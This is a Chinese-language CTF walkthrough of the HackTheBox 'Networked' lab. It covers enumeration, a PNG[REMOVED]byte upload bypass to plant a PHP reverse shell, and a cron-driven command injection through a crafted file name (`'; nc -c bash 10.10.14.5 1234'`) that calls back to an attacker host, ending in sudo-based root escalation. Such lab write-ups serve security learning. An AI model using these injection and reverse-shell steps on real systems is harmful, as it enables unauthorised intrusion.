Linux/Networked

Enumeration

nmap

网站更新之后有了一个引导模式,更利于学习了,之前看ippsec的视频,要不总是没有思路,现在出现的问题多了提示也更多了,还没有使用,一会用用再说

首先,第一个问题是"目标上正在运行哪个版本的 Apache?"

所以先使用nmap快速扫描一下端口,看看有什么发现,发现对外开放了22和80,然后扫描对应端口的详细信息

所以第一个问题就很好回答了,快速回答,然后拿到下一个题目"网络服务器上包含备份文件的目录的相对路径是什么?"

包含备份文件的目录?dirsearch扫描一下看看结果

​
dirsearch -u http://10.10.10.146

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/kali/.dirsearch/reports/10.10.10.146/_23-09-12_07-13-32.txt

Error Log: /home/kali/.dirsearch/logs/errors-23-09-12_07-13-32.log

Target: http://10.10.10.146/

[07:13:33] Starting:

[07:13:47] 403 - 213B - /.ht_wsr.txt

[07:13:47] 403 - 216B - /.htaccess.bak1

......

......

[07:17:07] 301 - 235B - /backup -> http://10.10.10.146/backup/

[07:17:08] 200 - 885B - /backup/

[07:17:13] 403 - 210B - /cgi-bin/

[07:17:39] 200 - 229B - /index.php

[07:17:39] 200 - 229B - /index.php/login/

[07:17:58] 200 - 1KB - /photos.php

[07:18:26] 200 - 169B - /upload.php

[07:18:26] 301 - 236B - /uploads -> http://10.10.10.146/uploads/

[07:18:26] 200 - 2B - /uploads/

​

看到扫描结果中就有这一题的答案

"阅读lib.php的源代码后,我们发现可以通过上传功能上传JPG、GIF、JPEG和其他一种扩展名。另一个扩展是什么?"

把backup.tar下载下来后,里面就有lib.php

Exploitation

file upload

但是在lib.php中并没有看到相关代码,而题目提示了上传,打开upload.php发现其中包含了lib.php,在其中也看到了另一种被允许的文件格式

第四个任务是"MIME 类型可防止网站上传功能上传实际上不是声明的文件类型的文件。魔术字节用于通过将字节附加到有效负载文件来绕过此问题。PNG 格式的前八个魔法字节是什么?(以 16 个十六进制字符的形式给出您的答案)"

这个答案可以直接去搜索现成的答案

既然提到了这个,说不定一会就会有其他用处,下一个"在 Linux 操作系统上,用户可以安排任务在所需的时间段运行。Linux 中默认的任务调度程序是什么?"

下一个问题已经到了linux系统里面了,看来该上传文件了,在/upload.php下看到一个简易的上传表单

所以按照刚才的提示,他应该是要检查png的mine magic number,先上传一张真的图片,上传成功后可以再photos.php中看到

可以上传文件,尝试上传一个反弹shell,使用16进制编辑器把文件打开,在shell前加上png的magic number,然后保存

在上传页面上传该文件,利用burpsuite修改文件名为shell.php.png,成功上传

上传成功后访问该图片连接,然后看到下面的话,看起来好像有点意思

在kali中开启监听,然后再次访问上传文件的链接,成功拿到apache的shell

Lateral Movement

可以看到在guly下有user.txt,但是我们没法打开,根据问题的提示,有可能guly的shell获取与cron有关

打开crontab.guly文件,发现在特定情况下,会执行check_attack.php文件

check_attack.php文件如下,脚本获取 /var/www/html/uploads 目录中的文件,然后运行lib.php ,getnameCheck函数检查文件名,如果不是有效的ip地址,会执行下面attack部分的代码,exec("nohup /bin/rm -f pathvalue > /dev/null 2>&1 &");代码会将其删除,但是如果拼接指令可以滥用

php 复制代码
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>

在uploads目录下新建下面的文件,在kali中开启监听

bash 复制代码
touch '; nc -c bash 10.10.14.5 1234'

; 会停止rm -f,然后执行后面的nc -e /bin/bash 10.10.14.5 1234,等待定时任务执行后即可获得shell

然后就能拿到user的flag

Privilege Escalation

根据题目的提示"What is the name of the script that guly can run as root without a password?"

获取一个简单的交互式shell后,直接使用sudo -l看看能干什么

打开changename.sh脚本,看起来是要输入一些东西,判断之后进行处理

运行该脚本,来来回回输入好几次后,发现在字符串后跟上/bin/bash就能得到root的shell

相关推荐
网安-轩逸8 分钟前
网络安全核心目标CIA
安全·web安全
无泡汽水5 小时前
漏洞检测工具:Swagger UI敏感信息泄露
python·web安全
WTT001111 小时前
2024楚慧杯WP
大数据·运维·网络·安全·web安全·ctf
蜜獾云14 小时前
linux firewalld 命令详解
linux·运维·服务器·网络·windows·网络安全·firewalld
黑客Jack15 小时前
防御 XSS 的七条原则
安全·web安全·xss
东方隐侠安全团队-千里15 小时前
网安瞭望台第17期:Rockstar 2FA 故障催生 FlowerStorm 钓鱼即服务扩张现象剖析
网络·chrome·web安全
Mitch31117 小时前
【漏洞复现】CVE-2021-45788 SQL Injection
sql·web安全·docker·prometheus·metersphere
网络安全King18 小时前
网络安全 - SQL Injection
sql·web安全·php
m0_7482370519 小时前
2024年“羊城杯”粤港澳大湾区网络安全大赛 初赛 Web&数据安全&AI 题解WriteUp
前端·安全·web安全
hwscom19 小时前
如何永久解决Apache Struts文件上传漏洞
java·服务器·struts·web安全·apache